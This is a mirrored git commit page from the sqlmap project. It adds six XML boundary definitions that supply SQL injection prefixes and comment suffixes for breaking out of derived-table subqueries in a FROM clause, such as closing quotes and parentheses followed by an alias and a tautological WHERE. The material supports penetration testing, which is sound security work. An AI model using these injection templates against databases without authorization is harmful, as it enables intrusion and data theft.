mirror of
				https://github.com/sqlmapproject/sqlmap.git
				synced 2025-11-04 09:57:38 +03:00 
			
		
		
		
	Add boundary checks for derived tables in FROM clause
This commit is contained in:
		
							parent
							
								
									2d5461d250
								
							
						
					
					
						commit
						cf4e0c755b
					
				| 
						 | 
				
			
			@ -569,6 +569,62 @@ Formats:
 | 
			
		|||
    </boundary>
 | 
			
		||||
    <!-- End of pre-WHERE generic boundaries -->
 | 
			
		||||
 | 
			
		||||
    <!-- Pre-WHERE derived table boundaries (e.g. "SELECT * FROM (SELECT column FROM table WHERE column LIKE '%$_REQUEST["name"]%') AS t1"-->
 | 
			
		||||
    <boundary>
 | 
			
		||||
        <level>5</level>
 | 
			
		||||
        <clause>1</clause>
 | 
			
		||||
        <where>1,2</where>
 | 
			
		||||
        <ptype>2</ptype>
 | 
			
		||||
        <prefix>')) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
 | 
			
		||||
        <suffix>-- </suffix>
 | 
			
		||||
    </boundary>
 | 
			
		||||
 | 
			
		||||
    <boundary>
 | 
			
		||||
        <level>5</level>
 | 
			
		||||
        <clause>1</clause>
 | 
			
		||||
        <where>1,2</where>
 | 
			
		||||
        <ptype>2</ptype>
 | 
			
		||||
        <prefix>")) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
 | 
			
		||||
        <suffix>-- </suffix>
 | 
			
		||||
    </boundary>
 | 
			
		||||
 | 
			
		||||
    <boundary>
 | 
			
		||||
        <level>5</level>
 | 
			
		||||
        <clause>1</clause>
 | 
			
		||||
        <where>1,2</where>
 | 
			
		||||
        <ptype>1</ptype>
 | 
			
		||||
        <prefix>)) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
 | 
			
		||||
        <suffix>-- </suffix>
 | 
			
		||||
    </boundary>
 | 
			
		||||
 | 
			
		||||
    <boundary>
 | 
			
		||||
        <level>4</level>
 | 
			
		||||
        <clause>1</clause>
 | 
			
		||||
        <where>1,2</where>
 | 
			
		||||
        <ptype>2</ptype>
 | 
			
		||||
        <prefix>') AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
 | 
			
		||||
        <suffix>-- </suffix>
 | 
			
		||||
    </boundary>
 | 
			
		||||
 | 
			
		||||
    <boundary>
 | 
			
		||||
        <level>5</level>
 | 
			
		||||
        <clause>1</clause>
 | 
			
		||||
        <where>1,2</where>
 | 
			
		||||
        <ptype>4</ptype>
 | 
			
		||||
        <prefix>") AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
 | 
			
		||||
        <suffix>-- </suffix>
 | 
			
		||||
    </boundary>
 | 
			
		||||
 | 
			
		||||
    <boundary>
 | 
			
		||||
        <level>4</level>
 | 
			
		||||
        <clause>1</clause>
 | 
			
		||||
        <where>1,2</where>
 | 
			
		||||
        <ptype>1</ptype>
 | 
			
		||||
        <prefix>) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
 | 
			
		||||
        <suffix>-- </suffix>
 | 
			
		||||
    </boundary>
 | 
			
		||||
    <!-- End of pre-WHERE derived table boundaries -->
 | 
			
		||||
 | 
			
		||||
    <!-- INSERT/UPDATE generic boundaries (e.g. "INSERT INTO table VALUES ('$_REQUEST["name"]',...)"-->
 | 
			
		||||
    <boundary>
 | 
			
		||||
        <level>5</level>
 | 
			
		||||
| 
						 | 
				
			
			
 | 
			
		|||
		Loading…
	
		Reference in New Issue
	
	Block a user